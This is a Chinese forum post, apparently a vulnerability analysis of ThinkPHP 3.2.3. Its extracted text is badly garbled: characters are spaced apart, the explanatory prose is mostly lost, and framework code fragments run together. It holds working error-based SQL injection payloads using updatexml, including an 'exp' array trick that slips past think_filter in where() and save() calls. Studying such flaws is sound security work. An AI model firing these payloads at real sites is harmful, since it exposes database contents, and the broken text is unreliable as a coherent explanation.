[19590] 2020-03-10_【原创】萌新也能看懂的ThinkPHP3.2.3漏洞分析

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2020-03-10_【原创】萌新也能看懂的ThinkPHP3.2.3漏洞分析 T h i n k P H P 3 . 2 . 3     i   2 0 2 0 - 0 3 - 1 0 T h i n k P H P P H P W i n d o w s / U n i x / L i n u x P H P 5 . 0 M y S q l P g S Q L S q l i t e P D O T h i n k P H P   i   T h i n k P H P 3 . 2 . 3 i   w h e r e   d e m o w h e r e u s e r P H P S T R O M   F 7 I p u b l i c   f u n c t i o n     g e t u s e r ( ) {         $ u s e r   =   M ( ' U s e r ' ) - > w h e r e ( ' i d = ' . I ( ' i d ' ) ) - > f i n d ( ) ;         d u m p ( $ u s e r ) ; }
s w i t c h ( s t r t o l o w e r ( $ m e t h o d ) )   {                 c a s e   ' g e t '           :                                       $ i n p u t   = &   $ _ G E T ;                                 b r e a k ;                 c a s e   ' p o s t '         :                                       $ i n p u t   = &   $ _ P O S T ;                                 b r e a k ;                 c a s e   ' p u t '           :                                       i f ( i s _ n u l l ( $ _ P U T ) ) {                                         p a r s e _ s t r ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ,   $ _ P U T ) ;                                 }                                 $ i n p u t                   =                 $ _ P U T ;                                                 b r e a k ;                 c a s e   ' p a r a m '       :                         s w i t c h ( $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] )   {                                 c a s e   ' P O S T ' :                                         $ i n p u t     =     $ _ P O S T ;                                         b r e a k ;                                 c a s e   ' P U T ' :                                                 i f ( i s _ n u l l ( $ _ P U T ) ) {                                                         p a r s e _ s t r ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ,   $ _ P U T ) ;                                                 }                                                 $ i n p u t                   =                 $ _ P U T ;                                         b r e a k ;                                 d e f a u l t :                                         $ i n p u t     =     $ _ G E T ;                         }                         b r e a k ;   . . . . . .
h t m l s p e c i a l c h a r s 4 0 2 t h i n k _ f i l t e r s q l w h e r e $ w h e r e o p t i o n s [ " w h e r e " ] f u n c t i o n   t h i n k _ f i l t e r ( & $ v a l u e ) {                 / /   T O D O                   / /           i f ( p r e g _ m a t c h ( ' / ^ ( E X P | N E Q | G T | E G T | L T | E L T | O R | X O R | L I K E | N O T L I K E | N O T   B E T W E E N | N O T B E T W E E N | B E T W E E N | N O T I N | N O T   I N | I N ) $ / i '                 $ v a l u e   . =   '   ' ;         } }
f i n d 7 4 8 $ o p t i o n s ' t a b l e ' = > ' t p _ u s e r ' ' m o d e l ' = > ' U s e r ' F 7 s e l e c t b u i l d S e l e c t S q l p a r s e S q l s q l $ o p t i o n s           =       $ t h i s - > _ p a r s e O p t i o n s ( $ o p t i o n s ) ; p u b l i c   f u n c t i o n   s e l e c t ( $ o p t i o n s = a r r a y ( ) )   {                 $ t h i s - > m o d e l     =       $ o p t i o n s [ ' m o d e l ' ] ;                 $ t h i s - > p a r s e B i n d ( ! e m p t y ( $ o p t i o n s [ ' b i n d ' ] ) ? $ o p t i o n s [ ' b i n d ' ] : a r r a y ( ) ) ;                 $ s q l         =   $ t h i s - > b u i l d S e l e c t S q l ( $ o p t i o n s ) ;                 $ r e s u l t       =   $ t h i s - > q u e r y ( $ s q l , ! e m p t y ( $ o p t i o n s [ ' f e t c h _ s q l ' ] )   ?   t r u e   :   f a l s e ) ;                 r e t u r n   $ r e s u l t ; }
p a r s e W h e r e p a r s e T h i n k W h e r e
$ k e y _ s t r i n g $ w h e r e S t r p a r s e r W h e r e ( i d = 1 p ) p a y l o a d   e x p   d e m o 使 ( I ) p r o t e c t e d   f u n c t i o n   p a r s e T h i n k W h e r e ( $ k e y , $ v a l )   {                 $ w h e r e S t r       =   ' ' ;                 s w i t c h ( $ k e y )   {                         c a s e   ' _ s t r i n g ' :                                 / /                                   $ w h e r e S t r   =   $ v a l ;                                 b r e a k ;                         c a s e   ' _ c o m p l e x ' :                                 / /                                   $ w h e r e S t r   =   s u b s t r ( $ t h i s - > p a r s e W h e r e ( $ v a l ) , 6 ) ;                                 b r e a k ; 1 )   a n d   1 = u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( u s e r ( ) ) , 0 x 7 e ) , 1 ) - - +
$ u s e r F 7 w h e r e f i n d - > s e l e c t - > b u i l d S e l e c t S q l - > p a r s e S q l - > p a r s e W h e r e p a r s e W h e r e I t e m $ v a l { e x p , s q l e x p } p u b l i c   f u n c t i o n     g e t u s e r ( ) {                 $ U s e r   =   D ( ' U s e r ' ) ;                 $ m a p   =   a r r a y ( ' i d '   = >   $ _ G E T [ ' i d ' ] ) ;                 $ u s e r   =   $ U s e r - > w h e r e ( $ m a p ) - > f i n d ( ) ;                 d u m p ( $ u s e r ) ; }
$ e x p e x p p a y l a o d I t h i n k _ f i l t e r e x p e x p p a r s e W h e r e I t e m e x p   b i n d   d e m o F 8 s a v e i d [ 0 ] = e x p & i d [ 1 ] = = 1   a n d   1 = ( u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( u s e r ( ) ) , 0 x 7 e ) , 1 ) ) - - + i f ( p r e g _ m a t c h ( ' / ^ ( E X P | N E Q | G T | E G T | L T | E L T | O R | X O R | L I K E | N O T L I K E | N O T   B E T W E E N | N O T B E T W E E N | B E T W E E N | N O T I N | N O T   I N | I N ) $ / i ' p u b l i c   f u n c t i o n     g e t u s e r ( ) {                 $ d a t a [ ' i d ' ]   =   I ( ' i d ' ) ;                 $ u n a m e [ ' u s e r n a m e ' ]   =   I ( ' u s e r n a m e ' ) ;                 $ u s e r   =   M ( ' U s e r ' ) - > w h e r e ( $ d a t a ) - > s a v e ( $ u n a m e ) ;                 d u m p ( $ u s e r ) ; }
s q l u p d a t e p a r s e S e t : 0 p u b l i c   f u n c t i o n   u p d a t e ( $ d a t a , $ o p t i o n s )   {                 $ t h i s - > m o d e l     =       $ o p t i o n s [ ' m o d e l ' ] ;                 $ t h i s - > p a r s e B i n d ( ! e m p t y ( $ o p t i o n s [ ' b i n d ' ] ) ? $ o p t i o n s [ ' b i n d ' ] : a r r a y ( ) ) ;                 $ t a b l e     =       $ t h i s - > p a r s e T a b l e ( $ o p t i o n s [ ' t a b l e ' ] ) ;                 $ s q l       =   ' U P D A T E   '   .   $ t a b l e   .   $ t h i s - > p a r s e S e t ( $ d a t a ) ;                 i f ( s t r p o s ( $ t a b l e , ' , ' ) ) { / /   J O I N                         $ s q l   . =   $ t h i s - > p a r s e J o i n ( ! e m p t y ( $ o p t i o n s [ ' j o i n ' ] ) ? $ o p t i o n s [ ' j o i n ' ] : ' ' ) ;                 }                 $ s q l   . =   $ t h i s - > p a r s e W h e r e ( ! e m p t y ( $ o p t i o n s [ ' w h e r e ' ] ) ? $ o p t i o n s [ ' w h e r e ' ] : ' ' ) ;                 i f ( ! s t r p o s ( $ t a b l e , ' , ' ) ) {                         / /     o r d e r l m i t                         $ s q l       . =     $ t h i s - > p a r s e O r d e r ( ! e m p t y ( $ o p t i o n s [ ' o r d e r ' ] ) ? $ o p t i o n s [ ' o r d e r ' ] : ' ' )                                 . $ t h i s - > p a r s e L i m i t ( ! e m p t y ( $ o p t i o n s [ ' l i m i t ' ] ) ? $ o p t i o n s [ ' l i m i t ' ] : ' ' ) ;                 }                 $ s q l   . =       $ t h i s - > p a r s e C o m m e n t ( ! e m p t y ( $ o p t i o n s [ ' c o m m e n t ' ] ) ? $ o p t i o n s [ ' c o m m e n t ' ] : ' ' ) ;                 r e t u r n   $ t h i s - > e x e c u t e ( $ s q l , ! e m p t y ( $ o p t i o n s [ ' f e t c h _ s q l ' ] )   ?   t r u e   :   f a l s e ) ;         }
b i n d P a r a m $ t h i s - > b i n d a r r a y ( ' : 0 ' = > ) p a r s e W h e r e - > p a r s e W h e r e I t e m e x p b i n d ( : ) s q l e x c u t e : 0 p r o t e c t e d   f u n c t i o n   b i n d P a r a m ( $ n a m e , $ v a l u e ) {                 $ t h i s - > b i n d [ ' : ' . $ n a m e ]     =       $ v a l u e ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则